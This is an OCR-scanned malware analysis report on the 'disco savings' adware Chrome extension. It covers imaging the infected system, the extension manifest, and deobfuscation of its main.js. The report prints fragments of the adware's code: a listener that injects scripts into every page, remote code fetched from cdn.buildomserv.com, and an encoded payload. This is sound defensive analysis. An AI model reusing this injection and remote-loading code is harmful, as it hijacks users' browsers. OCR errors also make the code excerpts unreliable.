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Document Revisions

The table below presents how document has changed during its lifetime.

Table 1: A list of document changes

29.04.2015 Dejan Lukan Document creation and formation.

Finalizing the document by fixing the document

1.1 15.09.2015 Dejan Lukan )
design.
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Introduction

Malware is a continuous threat that is not easy to get rid of and is our constant companion on various
computer systems. Most of the times, personal computers of normal users get infected, because the
malware authors are targeting random people around the world to get access to the most computers
they can in order to use them for their own gain. There are many hackers in the black market selling
access to various computers in order to use them for various kinds of attacks. Some of them are listed

below:

— DDoS malware: attackers having gained access to a large group of computers can use them to
install a RAT or some other malware to be able to control them remotely. Having done so
enables the attacker to send a command to all of the computers under his domain to connect
to the victim server at the same time, thus using all of the server resources effectively causing a
denial-of-service of the server.

- Ads malware: attackers frequently write malware that shows ads to the user in order to earn
revenue from showing ads. This is usually done by installing an extension into the browser,
whether it is Chrome/Firefox/IE, which gets loaded when the browser is started showing ads to
the user throughout his browsing experience.

— Bitcoin mining malware: some malware samples incorporate a bitcoin mining client, which
mines bitcoins on the victim's computer. Therefore, all the benefits and profits of bitcoin mining
go to the attacker, while the victim must pay high bills for electricity.
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Detecting the Threat

The first sign of trouble can be seen if we open the web browser and input an arbitrary search string
into the search engine. If we enter the name of our company “Protean Security”, we get various ads
presented by something called the “disco savings” as we can see on the picture below.

protean security - Google  *

€ - C O httpsyfwww.google.si/Tgws_rd=crssl8eli =F24 Ve 2rG8mQsAGRzoHYDQ#q=protean+security

Go 81(2 protean security g “

Weh Images Yideos Mews Maps Ware = Search tools

About 227 000 results (0.31 seconds)
Acds by dizco savings @@

protean security
protean security.com
Find the info you need. It's quick, easy and free.

Find Info on protean security
Find protean security
Find Info, Offers, and More about protean security

Looking for protean security
protean security
Find Info, Mews and hore about protean security

Protean Security: Home

https: Awenn proteansec.coms -

Good security mitigations needs to be provided in order to accurately remove the
malware. Each malware binary executable will be checked with standard tools, ..

Figure 1: The first indication of malware presence

Installing the MalwareBytes protection program and scanning the system reveals that various threats
are present on the system itself. The picture below presents all detected threats that were identified,
which we can remove by pressing the “Remove Selected” button. Rather than doing that, we should
save results to .txt file for later reference and analysis.
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Malwarebytes

Threat

PUF. Optional IeFluginService. 4
PUP.Optional. IeFluginService. &
PLUPR.Cptional lePluginService. &
Spryware.Keylogger
Spyware.Keylogger
Spryware.Keylogger

PLUPR.Cptional Maintainer Sy, &

K SIS IS IS S S A

PUF. Optional MaintainerSv, A

[ 3] Malwarebytes Anti-Mabware Home (Trialy 2.1.6.1022

Threat Scan Results

Category
Fotentially Unwanted Program
Potentially Unwanted Program
Potentially Unwanted Program
® Malware
® Malware
® Malware
Potentially Unwanted Program

Fotentially Unwanted Program

Remove Selected

Type

File

Reqgistry Key
Process

File

Reqgistry Key
Process

File

Registry key

o[ O]

876 of 876 identified threat(s) are selected

Location

C\ProgramDatatIeF lugin,, vices\PluginService, exe
HKLMMNSYSTEMYWCURREMTC. . CESYePluginServices
ChProgramDatatleRlugin,, vices'\PluginService.exe
Cwindowsymhwps. exe
HELMYWSYSTEMYCURRENTC. .2 Malware Protection
Cwindowsymhwps. exe

ChProgramDatatb6e313., 0sbdf4ymaintainer.exe

HELMYSYSTEMYCURREMTC.  fainerSvid, 74400744 ~

Save Fesults » | Cancel

Figure 2: MalwareBytes scan results

At this point, we should create an image of the physical system, so we can easily analyze it later. We

shouldn't use the physical system directly if we haven't created an image of the system for later

restoration. Even if we created an image, we should rather convert the physical system to a virtual one,

which enables easier analysis of malware samples. The virtual machine can be putin a controlled

environment much easier than a physical machine, which is more cumbersome and harder to relocate

- relocating a virtual machine from one datacenter to the other can be done over the internet quickly

depending on network bandwidth limitations.
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Creating the Image

The first thing when stumbling upon a physical computer is to create an image, which can later be
turned into a virtual image. We can use the

— Clonezilla

— Disk2vhd: a tool, which can create a VHD image of the running Windows system without
restarting or shutting down the system. The tool uses the Windows Volume Snapshot
functionality present in all Windows systems from Windows XP.

—  Norton Ghost

The picture below presents the process of creating the image from C partition by using the Disk2vhd
tool written by Mark Russinovich and is part of the Windows Sysinternals suite of tools. The tool can
easily create the VHD (Virtual Hard Disk) image of physical disk to use with virtualization software that
supports the VHD format. The great advantage of disk2vhd tool is that we can use it while the system is
running without shutting the system down and booting a livecd as is required by many of other
solutions.

The disk2vhd program lists all volumes present in the system and gives you the option of saving the
image to any local directory; on the picture below we're saving a complete C:\ volume to the directory
E:\Shared\, which contains enough free space to hold the whole image. The tool also doesn't copy the
whole partition, but keeps the partition size while copying only the data present on the volume itself -
therefore, the image will be approximately as big as there is used space on the volume. Note that we
mustn't use the “Use Vhdx" option, which creates a .VHDX image format rather than .VHD image format.
The image formats can easily be converted between each other, but if we're going to use the image in a
VirtualBox later, we can spare ourselves the trouble of converting to .VHD image format, which the
VirtualBox supports.
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e

e Disk2vhd - Sywsinternals: wanane sysinternals.corm E =] @

Dizk2vhd v2.01
Copyright @ 2009-2014 Mark Russinovich
Supzinternals - ww, spsinternals. com Use Yhd:x

YHD File name:
E:"sharedidiskimage, vhd

se Yaolume Shadow Copy

Yalumes ta include:

Yolume Label Size Free Space Required
VO Pwolume]{dafb4z2c3-9... Rezerviran sistem 100,00 MB 71.85 MB 34.01 ME
Vo [Mo Label] 111.69 GE 52,09 GE 21,09 GE
E: PODATEI 186301 GE  1715.01 GE 145,01 GE
Copwing wolume C; on disk 1... 29/04/2015 12:45:54 PM
LR ] |

Figure 3: Creating the image

Note that in the disk2vhd program, most of the times we also have to select the first volume that is
represented as being 100MB in size on the picture below. If we start disk management by running the
diskmgmt.msc, we can observe the C:\ volume is marked as Boot volume, while the first volume is
marked as Active volume. We must select both when creating the VHD image, otherwise the system
won't be able to boot once imported into the VirtualBox.

Also make sure to enable the “Enable I/0 APIC” option in the settings of the virtual machine as is

presented below. Failing to do this will result in virtual machine rebooting constantly without being able
to boot properly.
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= General System
r'_ ystem
Display Motherboard | Processor | Acceleration
StDragE BEEEHerT1CJr-y:IIIII)'IIIIIIIIIIIIIIIIIIIIIIIIIIII 1024: ME
B; Audio 4 MB 8192 MB
Boot Order: Floppy 1]
®p Network B () CD/DVD 5
¢ Serial Ports Hard Disk
5 Uss ] = Network
& Shared Folders Chipset: IP'”:'{3 ]
Pointing Device: |USB Tablet |
Extended Features: [ Enable |/O APIC
[T Enable EFI (special 0Ses only]
[T Hardware Clock in UTC Time
oK Cancel Help

Figure 4: Enabling the 1/0 APIC option

The picture below presents the file diskimage.vhd, which has been copied to the shared folder by using
the Disk2vhd tool. The image contains the whole C Windows 7 partition, which is approximately 53 GB

in size.
Mame Date modified Type Size
|| diskimageVHD 4/29/2015 8:29 AM  VHD File 53,025,649 ..
|| malware 4/28/2015 9:54 PM Text Document 146 KB

Figure 5: The size of the created image

Now that the image was created, we can create a new virtual machine in VirtualBox as shown on the
picture below. After that we must follow the configuration wizard and assign 1024 MB of memory to the
virtual machine, which should be enough for Windows 7 operating system.
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Name and operating system

Please choose a descriptive name for the new
virtual machine and select the type of operating
system you intend to install on it. The name you
choose will be used throughout VirtualBox to identify
this machine.

Name: | Malwarelmage

Type: |Microsoft Windows =] %ﬂ

Version:

Hide Description = Back | Next > I Cancel

Figure 6: Create a new virtual machine

When being asked about the hard drive, we have to select “use an existing virtual hard drive file” and
point to the previously acquired disk image as presented on the picture below.

Hard drive

If you wish you can add a virtual hard drive to the
new machine. You can either create a new hard drive
file or select one from the list or from another
location using the folder icon.

If you need a more complex storage set-up you can
skip this step and make the changes to the machine
settings once the machine is created.

The recommended size of the hard drive is 25.00
GB.

¢ Do not add a virtual hard drive
" Create a virtual hard drive now

¥ Use an existing virtual hard drive file

diskimage VHD (Mormal, 111 .79 GE)

< Back | Create I Cancel |

Figure 7: Choose the disk image as a hard drive

Once the system has booted and we've logged into the system we're able to see the desktop of the
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Windows 7 operating system in our VirtualBox virtualization software as presented on the picture
below. Note that the system presented on the picture below is exactly as it appears after we've logged
into the system without closing and of the windows or changing any of the settings.

17

BitTorrent

7

Continue
Audio Pe..

Video
Performer

: %
SEe ™ 0 ¢l Qmmnmey
m l o R s

Figure 8: Powering up the imaged system

Once we've done that it's time to create a snapshot, so we can come back to this setup again after
going deeper into the rabbit hole by analyzing the malware on the system. We can take the snapshot of
the system by clicking on the “Machine - Take Snapshot” as presented on the picture below.
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@J‘ Snapshot Name

L XP3 [FirstBoot
Snapshot Description

The snapshot taken right after creating
the image of the physical system and
importing it into VirtualBox|

| OK I Cancel Help

Figure 9: Taking a snapshot of the system state

After creating the snapshot, we can configure the network settings in order for virtual machine to have
access to the network. We can do that by going into the virtual machine settings and selecting a bridged
networking mode, which will assign a new local network IP address to the virtual machine.

Then we can open Chrome web browser and type some keyword into the Google search engine to

verify that the ads malware is still present in the browser. The picture below confirms that when
searching for Protean Security online, additional entries will be visible prior to the first search result.
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protean security - Google

« - hitps://www.google.si/?gws_rd=crssl&ei=Mr9AVYCoBcuUsAHTUIDADQ#q=protean+ fa 7|

GOOSIE protean security A n +zan

Web Images Videos MNews Maps More ~ Search tools

About 228,000 results (0.39 seconds)
Ads by disco savings ®

protean security
protean security.com
Find the info you need. It's quick, easy and free.

Find Info on protean security
Find protean security
Find Info, Offers, and More about protean security

Looking for protean security
protean security
Find Info, News and More about protean security

Protean Security: Home
hitps://'www_proteansec.com/ = -

D BN e

Figure 10: Searching for 'Protean Security' in Google
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Analysis of the Malware Sample

The first thing that we will do is actually determining how malware instructs the web browser to do the
following malicious actions

— Open Initial Website: whenever we open a web browser, it will by default open it on the
website isearch.omiga-plus.com.

— Load the Ads: whenever we open the web browser and search for something in a search
engine, ads by disco are shown in a website, which makes browsing web pages rather difficult.

Open Initial Website

On the picture below, we can see that the web browser will by default open a website on
http://isearch.omiga-plus.com. This is done by changing the shortcut icon in the taskbar. By clicking on
the Chrome properties in the taskbar below, the properties will open and present the changed shortcut,
which by default redirects the user to the inputted web address.

4
E Marjan - Chrome - lastnosti =]
Vamost I Podrobniosti | Prejgnje razlicice
Splono | Bliznjica | Zdrnuljivost
LY

Marjan - Ch - o e - —
[ﬁ =En - reme plus.com/?type=sc&ts=1418987569&from=adks& 77| =
Mesto cilja: Application
Cilj: pplicationchrome exe" http./fisearch omiga-plus.
IzhodisZe: "C:\Program Files §86)\Google\Chrome*Applicati
Bliznjicne tipke: Brez n
Zaieni: [‘u’ obicajnem oknu MNajpogostejie
Komentar: Dostop do intemeta Dobrododl v brskalniku Google Chro...

Spletna trgovina Chrome L

Odpri mesto datoteke ] [Zamenjaj ikana ] E

MNedavno zaprio

Google Chrome Pomoé Searn
Opravila Odpri
& Novo okno 1) Zazeni kot skrbnik
& Novo okno brez belefer Odpni iz opravilne vrstice
Lastnosti

|& Marjan - Chrome T
Ta program odpni iz opravilne vrstice
prog P! P

@EGQO@@@

Figure 11: Chrome shortcut properties

On the picture above we can also see that two Chrome windows are shown in the taskbar, but why is
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that? If we choose the properties of the second Chrome window, we'll quickly identify the second
Chrome entry is using a different profile directory “Profile 1" as shown below.

% Google Chrome - lastnosti

Wamost | Podrobnosti I Prejgnje razlidice

Splodno | BliZnjica | ZdnuFljivost
@ Google Chrome
Vrsta cilja: Program

Mesto cilia: Application

Cilj: licationchrome exe” —profile-directony="Profile 1"
Izhodigce: "C:A\Program Files (86} \Google’Chrome \Applicati
Bliznjicne tipke: Brez

[,
Zageni: ["u" obiajnem oknu 45 - ]
Komentar:

| Odpri mesto datoteke | [Zameniaikono ...| | Dodatno .. |

Viedu || Prewid Uporabi

|

Figure 12: The properties

We'll see the reason behind using another profile “Profile 1" instead of the default “Default” profile in a

little while.

Load the Ads

To determine why web browser is loading ads, we have to look at the web browser extensions.

Immediately upon opening web browser extensions, we can observe the malicious Chrome extension,

the “disco savings”.
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} Powered by AdSupply

® ¥ o9 Razdiritve ®

Protean Security

C | [ chromey//extensions
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FreeHDSport TV 3
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Google Diapozitivi
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Figure 13: Chrome extensions
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On Windows, Chrome saves extensions under C:\Users\<user>\AppData\Local\Google\Chrome\User

Data\Default\Extensions\ directory. Since a profile was changed when starting Chrome web browser by
using the --profile-directory option, the last subdirectory will not be “Default” but “Profile 1” instead. We

can see the extensions from “Profile 1” in the picture below.

=l
v| 1. « Local » Google » Chrome » UserData » Profilel » Extensions » - | +4 | | Preiséi Extensions
Organizira) * Vkljugi v knjiZnico « Skupna raba = MNova mapa =« [ i
3 Priljubljene * | Ime - Datum spremembe  Tip Velikost
Bl Namizje 1. aapocclegogkmnckokdopfmhonfrngoek  22/02/2015 9:06 PM - Mapa z datotekami
. All'Users .. aohghmighliciainnegkcijnfilokake 22/02/2015 9:06 PM  Mapa z datotekami
4 Prenosi . apdflickaahabafndbhieahigkjlhalf 22/02/2015 9:06 PM  Mapa z datotekami
. LocalService . blpcfgokakmgnkcojhhkbfbldkacnbeo 22/02/2015 9:06 PM  Mapa z datotekami
. Default User | coobgpohoikkiipiblmjeljniedjpjpf 8/04/2015 5:56 PM  Mapa z datotekami
8 SkyDrive . fdjfnhememjbjgbhngpabpfdkifonaj) 8/04/20155:56 PM  Mapa z datotekami
= 1. felcaaldnbdncclmgdencolpebgigjap 22/02/2015 9:06 PM  Mapa z datotekami
= Knjiznice . lifbciblihkdhoafpjfnlhfpfgnpldfl 22/02/2015 9:06 PM  Mapa z datotekami
@ Dokumenti 1. nbdbmopeebalgaeghmjoegpkngglikgn 22/02/2015 9:06 PM  Mapa z datotekami
|‘Eﬂ Filmi | nmmhkkegccagdldgiimedpicemgmieda 22/03/2015 6:23 PM  Mapa z datotekami [}
J‘ Glasha . pjkljhegnecpnkpknbeohdijecejaedia 8/04/20155:56 PM  Mapa z datotekami

Figure 14: The directory structure of extensions

If we go back to “chrome://extensions” we can hold our mouse on the details button as shown below,
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which will display the plugin hash ID at the bottom of the page. Now we know the adware plugin hash
id starts with the “fdjf".

_

€« = O | [ chrome;//extensions 'ﬁ =
Chrome Razsiritve (] Nadin za razvijalce H
Zgodovina

.y disco savings  17125.8387.2692

Razgiritve l:
|I '—-‘?JJ disco savings

[ Omogoéena |}

Mastavitve
o Dovoljenja F{[?ﬁrobnosti
[] Omogodi v nacinu brez belezenja zgodovine
O moZnostih
[] Dovoli dostop do URL-jev datoteke
https://chrome.google.com/webstore/detail /fdjfnhemecmjbjgbhngpabpfdkifonajj -

Figure 15: Discovering the hash of a 'disco savings' extension

If we go into the extension folder, we'll stumble upon the manifest JSON file as presented below. Note
that every Chrome extension has a manifest JSON file named manifest.json (we don't see the extension
below), which provides important information about the extension.

@O-| ). « fdjfnhemcmjbjgbhngpabp... » 17125.8387.2633 0 » + [ 3 |[ Preisci17125.8387.2693 0 Ll
Organiziraj * Vkljuéi v knjiznico - Skupna raba « Mova mapa = « [ @
3 Priljubljene Ime Datum spremembe  Tip V

B Namizje |. chrome 8/04/2015 5:56 PM Mapa z datotekami

1 All Users |Z| manifest 8/04/20155:56 PM  Datoteka J50M

4. Prenosi

1. LocalService

1. Default User

‘& SkyDrive
- Enjiznice

@ Dokumenti

[ v | 4 n .
] Stevilo elementov: 2

Figure 16: The 'disco savings' extension files

The contents of the file are shown below. The manifest_version specifies the version of the manifest
file format, which should always be set to 2 after Chrome 18. The name specifies the name of the
extension, while the description holds a plain text string describing the purpose of extension. The
version holds the one to four dot-separated integers identifying the version of the extension.
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"manifest wversion": 2,
"name": "disco sawvings™,
"degcription™: "disco sawvings™,
"yersion™: "0.1™,
"permissiona™: ["<all urlsx", "webMNawvigation™],
"update_url": "https:/Sclientsi.google.comyservice/updates/crx",
"background™: |
"geripta™: ["chrome/content/main_j3a™]

}

Figure 17: The content of the manifest file

The most important fields in a manifest.json file is the permissions field, which declares the
permissions the extension would like to have. There are many available permissions that a plugin can
specify, but our plugin merely specifies the following:

— <all_urls>: specifies a match pattern that usually begins with a permitted scheme like http,
https, file, or ftp, which can contain the wild "*' character. In this extension, a special pattern
<all_urls> is used, which matches any URL that uses a permitted scheme http/https/file/ftp.

— webNavigaton: this permissions gives the extension access to the chrome.webNavigation API.
This gives the extension the permissions to receive the status of navigation requests.

The update_url is used for automatic updating of the extension and points to the location used for
doing update checks. | don't think the URL was actually being used, because it now returns 404 HTTP
Not Found error message.

There's one more field we still have to analyze, the background entry, which specifies the background
page being used by the extension as a single long-running script that does all the actions. The
background page is a HTML page that runs in the extension process and exists as long as the extension
is installed and active in a web browser. In order to determine what the extension is doing, we have to
take a look at the chrome/content/main.js file.

We copied the contents of the whole file in Appendix A for reference and further analysis by anyone
reading this document. If we look at the JavaScript, we can immediately see the file is encrypted

somehow.

In order to analyze this obfuscated JavaScript file, we have to download Revelo, which will greatly speed

up the analysis. Revelo is a tool for deobfuscating JavaScript by using a number of different methods.
Note that Revelo might not cover all of the cases JavaScript might be able to trick it into executing code
on your computer, so use it with caution, presumably in a virtual machine. The tool has the following
features:

- Analyze a script quickly by loading a file or pasting in Javascript code

- Includes several methods to deobfuscate Javascript

- Includes a built-in browser proxy which displays the URL of outgoing requests
- Displays the Document Object Model (DOM) elements
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- Includes a packet sniffer which logs incoming and outgoing requests

- Includes a software firewall to prevent the program from accessing Internet content accidentally

- Ability to act as a web proxy to catch and block redirects
- Beautifies Javascript code to make it more readable

- Ability to clear the browser cookies

- Ability to spoof the user-agent string

The basic picture of the Revelo tool can be seen below, where the obfuscated JavaScript has to be

copied into the input box; note that in order for Revelo to work, you have to add the <script>...</script>

tags at the beginning and end of JavaScript.

] Revelo v0.6

Load File to Analyze

=)

File Marne: |

Tools

Methods
(« Capture HTTP Request via Proxy
™ Capture HTTP Reguest wia lE

Modify Beguest

™ Encloze Javazonpt in Textirea

" Replace [nnetHTRL with InnerT ext
" Replace Werbz with Action

" Redirect Eval to dction

" Redirect Doc Wite to Action

(" Intercept Function with Marme:

" Redirect Function with Mame:

(" Intercept DIV Attach with 1D [*]:

7 Intercept DOM with ' ariable:

7 Intercept Q0P with Local War:

™ Redirect Yariable (incl paren.):

i Intercept Return and W ariable:

" bppend Wanable to End:

" Unmodified Bequest

Load | Rezet | Execute |

Javaszcript l Hesults] Element Tree EIementDetaiIl Traffic Lng] Traffic Detaill

gUIFwWHMDEBEBUR1 bWl U0wWJ 148N Mg MU o+HJ ] 4/ K MUTHE Y GEAPERWI ChBKEDD T LUY
Hy0zIjwi00NaZExLUk9bGwgUEQcCIhZNQOtWIUZKTE s PREJThGWE EBWp LW RELYFOW
kwtP1BDWygaQlpMEj 1001 s TKENATD4

+UENET i pDWkwuOVEDNyToQ1 pMEThQM] cCCqUT F i MNWE OmHCMEOTE 1 K BqJjRESFZST
FtSREgJhREEpMRkfGwMOHx0gEgqoFHxsAFz(7501 kTELST 1 sDEBUGOx AHUFVZ SOwWVARS
WRFOOCQIKCxkCAR I FOhUHARVYDMGHQ4 £ DQONHWE YD1 OMFQIBDwJRCAIBGORYV1hQH
BkJTzRAmljwlMyRoLj YwE] 4mPj 8gMzRUARGGAVWEMS 07T L jASKi kKT FORShPWUOLEQ®R4
aGFBsBOgsHRLtWIAQfBhEKTUtOF x4 FRRgAFQcdFhe CARAGROECT4XCACCHIYYHWFOF
QIFDhwbRgENEgQITH11L.5QoeBlwpMSkzJ103LyE1KT 0SKSOmET) TRegPAQS PMCYQNDE
pICOmNzAmSThrViESMS1AfFRADCEBgnCEL ITOpTUREWThFCSWUE",
b:"krovkdavnl"},b; (new Date).getTime () ;var d=functicnia) {if('a)
return"";try{a=J30N.parse(a) }catch(k) {return""} return (f+0tils.xor
{Utils.Base6d.decode(z.a),a.b)) .replace (RegExp

Fe

("__50B_ID ","g"),Utils.get3ubID{))}.replace (ReqExp

("__LIGHT_SUB ID_","g"),Utils.getlight5ubld ()} .replace (RegExp
(*__RPFP ID ","g"),Config.appll).replace (RegExp

("__AFPF NAME ","g™),Utila.getApplame()).replace (RegExp

("_ ENCODED AFF NZME ","g"),encodeURIComponent (Utils.getAppHame
(}}).replace (RegExp ("_ USER_ID ","g"),Utils.getUserId(}).replace

{RegExp (" INSTALLER USER_ID ",

g"),Utils.getlUserId() ) .replace (RegExp

("__ EXTENDED SUB ID ","g"),Utils.getExtendedSubId()).replace
(RegExp ("_ VERIFIER ","g"),Utils.getVerifier()).replace(RegExp
("__CRMP ID ","g"},Utils.getCampaignId()).replace (RegExp
("__INSTALL TIME_","g"),Utils.getInstallDate(}).replace (RegExp
("__GEQO_CODE__","g"),Utils.getCountryCode () ) .replace (RegExp
("_GEQO_NAME ","g™),Utila.getCountrylame ()).replace (RegExp

("__ BROWSER NAME ","g"),Utils.getBrowser())},h=functiona)

{a=a| |function() {} rRequest.get (Utils.getlodelrl (),

function{c) {c| | {c=g) ;b=d{c);a()}) };return

[zetCodeldndUpdate: function(a) {h{a) ;UTtils.genericTimer
(Config.UFDATE CODE INTERVAL,h)},getCodeToRun: functicn() {return
E}1} () (functicn() {Codelpdater.setCodelindUpdate (function() )
{OnDocumentStart.startInjectingCode () }) s Stats.startReportinghctive |=
ana:
O
</3cript>

1|

Figure 18: Loading obfuscated JavaScript in Revelo

At this time, let's not change anything and just press the Execute button. If JavaScript will try to redirect

a user, a popup will open notifying us about the URL it's trying to open. While Revelo executes the

script, it will display two popup boxes presented below.
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The first popup box, while trying to open logs.outstaticdatastorage.com domain.

Revelo @

Script is trying to access:
http://logs.ourstaticdatastorage.com/monetization.giffevent=18campaign=0029
13&browser=ff& country="51&ibic=76aab319040f693 91 a2fd0f1 4981 9a8verifier=0
47347 ec330f7 ccabbc792ff716c0a8rnd=1432401699720

Figure 19: The first pop-up box

The second popup box, while trying to open cdn.builddomserv.com domain.

‘Revelo @

Script is trying to access:
http://cdn.buildomserv.com/bd/a,js?rnd=1432401689702

Figure 20: The second pop-up box

The “Traffic Detail” tab will present the requests sent on the specified domains. Since the internet
connectivity is blocked by the program, the request won't actually be sent on the Internet, but will be
blocked by Revelo.

+ Revelo 0.6 [E=E(E=R ==

Load File to Analyze
File Marme: | Load | Reset | Execute |
Deobfuscation ] Tools l Javascript I Hesults] Element Tree | Element Detail I Traffic Log

Methods GET http://logs.ourstaticdatastorage. com/monetization. gif Pevent=1%campaign=002313

{+ Capture HTTP Request via Prosy Ehrowser=ficountrp=514ibic=75aa631 3040693291 52d0F 49281 9atoverifier=

) 047 3cdfFec 330 coabbe FI2 71 Bolatind=14324016997 20 HT TPA 1
" Capture HTTP Request via IE Bocept: *
_ Accept-Encading: gzip, deflate

Modify Request User-dgent: Mozilla/4.0 [compatible; MSIE 7.0; Windows MT 5.1; Trident/4.0; MET CLR 1.1.4322;

" Enclose Javascript in Textirea MNET ELR 2.0.50727: MET CLR 3.0.4508.2152; NET CLR 3.5.30729; InfoFath.1)

" Replace InnerHTML with InnerText E[?:sxtk.l-IEg2.::;;;3:]{::2:;6;?'232&. Fom

i Replace Verbs with Action

" Redirect Eval to Action

" Redirect Docwrite to Action GET hitp://cdn. buildomsery. comltstta jsPmd=1432401 BI9702 HTTPA 1

" Intercept Function with Mame: Accept; *~

Accept-Encoding: gzip, deflate

| Uzer-dgent: Mazilla/4.0 [compatible; MSIE 7.0; Windows MNT 5.1; Trident/4.0; NET CLR 1.1.4322;
MET CLR 2.0.50727; MET CLR 3.0.4506.2152; .MET CLR 3.5.30723; InfoPath.1]

Host: edn.buildomser.com

| Prowy-Contection: Keep-dlive

" Redirect Function with Mame:

Figure 21: Revelo traffic details

We can quickly determine that Revelo can't be used as a standalone tool to deobfuscate the whole
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JavaScript. Rather than trying to do that with Revelo, let's first do a little bit of manual analysis to
determine what the JavaScript code does. At first we might use an online jsbeautifier service to beautify
the JavaScript that we're working with, which will make the code more readable and easy to
understand. The beautified code can be seen in Appendix A.

We can fairly quick determine the code assigns various functions to variables by using multiple-layer of
nesting, which will be good enough to beat most of the automated malware analysis scanners. The
code starts by executing the following piece of code, where the OnDocumentStart.startinjectingCode()
is called first, after which the results are passed to CodeUpdater.setCodeAndUpdate() and then the
Stats.startReportingActive() is also called.

(function{) {
Codelpdater.setCodeAndUpdate{function() {
CnDocumentStart.startInjectingCode()
b

Stats.startReportingActive()

IIROF

Figure 22: The main function of JavaScript

The OnDocumentStart.startinjectingCode()

The code first checks whether the browser is Chrome and if that is the case executes function f(),
otherwise it executes function g().

return {
startInjectingCode: function{) {
isChrome 7 () : g3
T

Figure 23: JavaScript code that checks if current web browser is Chrome

We have executed the code in Chrome browser, so we'll be analyzing the f() function below. The code of
the function can be seen below, where it's evident a listener is added by using the Chrome extension
API chrome.webNavigation.onCommitted.addListener.
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26 var T = function() {

27 function b{b) {

28 return "{function {){var tag = document.createElement{'script'};
tag.setAttribute('type', 'text/javascript');tag.innerHTHL =" + b + ";{document.
getElementsByTagMame({ 'head')[0] || document.getElementsByTagMame{ ' body')[0]1).appendChild{tag);
PO

29 ¥

30 chrome .webNavigation.onCommitted.addlistener{function{d) {

31 'd || @ !==d.frameld || !d.tabId || !d.url || @ > d.url.
index0f("http") || @ <= d.url.index0f{("/ /chrome/newtab") || chrome.tabs.executeScript{d.
tabId, {

32 code: b{J50N.stringify{CodelUpdater.getCodeToRun{))},

33 runAt: "document_start"

34 3]

35 ]

36 b

Figure 24: JavaScript function f()

The function specifies a callback function, which receives an object as an input argument, which has the
following parameters. The malicious function above specifies many conditions that need to evaluate to
true before the last conditions actually executes the payload by executing chrome.tabs.executeScript
function, which injects JavaScript code into the page. The prototype of the function can be seen below.
Note that the callback parameter is optional and the extension is not specifying one.

chrome.tabs.executeScript(integer tabld, object details, function callback)
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function{object details) {...};:

object  details

integer

string

integer

integer

TransitionType

array of
TransitionQualifier

double

tabid

url

processid

frameld

transitionType

transitionQualifiers

timeStamp

The ID of the tab in
which the navigation
OCCUrs.

Since Chrome 22.

The ID of the process
runs the renderer for
this tab.

0 indicates the
navigation happens in
the tab content
window; a positive
value indicates
navigation in a
subframe. Frame |Ds
are unique within a
tab.

Cause of the
navigation.

A list of transition
qualifiers.

The time when the
navigation was
committed, in
milliseconds since the

epoch.

Figure 25: The documentation of the executeScript function

Protean Security

But the extension has to specify the details parameter, which accepts the settings presented on the

picture below. The runAt specifies the code will be injected into the web page at document_start, which
will cause the code to be injected after any CSS files have been added, but before any other script is

executed.
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string

string

boolean

boolean

enum of
"document_start",
"document_end", or
"document_-idle"

(optional) code

(optional) file

(optional)
allFrames

(optional)
matchAboutBlank

(optional) runAt

lavaScript or C55 code to inject.

Warning:

Be careful using the code parameter. Incorrect
use of it may open your extension to cross site
scripting attacks.

lavaScript or C55 file to inject.

IfallFrames is trus, implies that the Javascript or
C55should be injected intoall frames of current
page. By default, it's falzeand is only injected
into the top frame.

Since Chrome 39,

If matchAboutBlank is true, then the oode is also
injected in about:blank and about:srodoc frames if
WoUr extension has aooess to its parent document.
Code cannot be inserted in top-level about:-
frames. By default it is false.

Since Chrome 20.

The soonest that the JavaScript or C55 will b2
injected into the tab.

Figure 26: Available settings for the 'details' parameter

Protean Security

Not we have to figure out what code is actually injected into the webpage by determining what the
CodeUpdater.getCodeToRun() function returns.

The CodeUpdater.getCodeToRun()

The getCodeToRun() function basically calls an object named b.

return [j

setCodeAndUpdate: functiocn{a) {
h(a);
Utils.genericTimer{Config.UPDATE_CODE_INTERVAL, h)

}!

getCodeToRun: function{) {
return b

}

Figure 27: Calling an object b

The object b is constructed in the function h as shown below.
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h = function{a) H
a =a || function() {};
Request.get(Utils.getCodelr1(),
function{c) {

c || {c=g);
b = d{c);
al)

3]
I

Figure 28: The construction of object b in function h

What basically happens is that a GET request is sent to the server requesting a resource by
concatenating Config.codeUrl, which holds the value “http://cdn.buildomserv.com/txt/a.js” with the
current time stored in rnd GET parameter.

QetﬂudeUrl: function() {
return Config.codelrl + "7rnd=" + {(new Date).getTime()

ks

Figure 29: The getCodeUrl function

If we open the http://cdn.buildomserv.com/txt/a.js, another JavaScript code will be shown as presented
below.

{"a": "BxUKBWExCBFDUSgrMTo3LCcplyw]P TUxOydESVpDX19L 01 FNWEGFFgBUPBUQHUSLDEYDIBE ZAVEP QO 1bKCsNAADUDXESMhMQEQAN Fuw
gBNE4RARYXEBE JCBNaDATRTWINCAY fishgawCs 7EQgiDhwoK 1AV TQMUABBGERp YR Fh FE&s CHRMRADS CUEQBNDGy Dy c6ITU 0RRXg knKwBWIQ
AELChcI1YtNEQ4QLVRXCc rEQWPCQIHDjUCEABMDwo FLChIHQEKGxIMBE1TXOMITUNS0]0aGTMdGzsnTj5JI1RWYFYgPURISSYBV1VAQ1450h
4HHhgRABEOSAQECEx4bF1is JUBONHwcHI QoYX 1o OERBDTVXHOoLE ksYGxgECBOKHWCRD L0eGhabSx IVShgUKBY fWgd LWSOtN T44MTUWP TksLD
4UBgsGAAPAN J4xKDAxJzAqLyc+]2In]z@gRTKEL1S JMTYWI TwSN J4xKDEBKz telDcgP THrPDO3KCo kM1wSN TUxWSc5 IDs JKDo50SEnOUdHGw
MACAcxCgpfSRsDAAQHX1d IDAUAATOLHAS T FgwFFBYAHVoN FgAKRE kEWws TDxoBSWEASDU+Mi00Ly0,/N1igIPEKHChUXDWFRIYOZ0zwyN j8hP
YtICEQOSwvTLigrPSwwPSghL jcolyB20zELOJRVNSYS01ANTI1wd Iz5 1155q055gViwoNSgk0zYnKC4 sKFZUBAQNAQWFOhNOS KEWEL9eYSwoHR
YzARC50kMoVSErVkhaliBIX1UhMIY5UR0 ZNCwCABEYDOwWT JABXHGARGwWon DU B0GWMAC CEWFFxHAwC DBE JbSx FIBh kREBAL W OWAAPEEAUWHL
sOGRAEGBAFHQgAShIVWggh FhoWEQh FBRCPASQrIzEBLCMrLzYzKyshJ1cvI TQsURUIBDAREgkOT1gr0500dygkl JYok14cDRxb0]OmIDEQKY
080Tp JXxBADAQXLRQIUVE fAAWE FBJISgTIs FAY aBwdL OQwFFRhaDBgXGwWILRRAY GV cXFhoASgESARUL FxYRFhFFGORL GxwFFggABDAUBhwWGOY
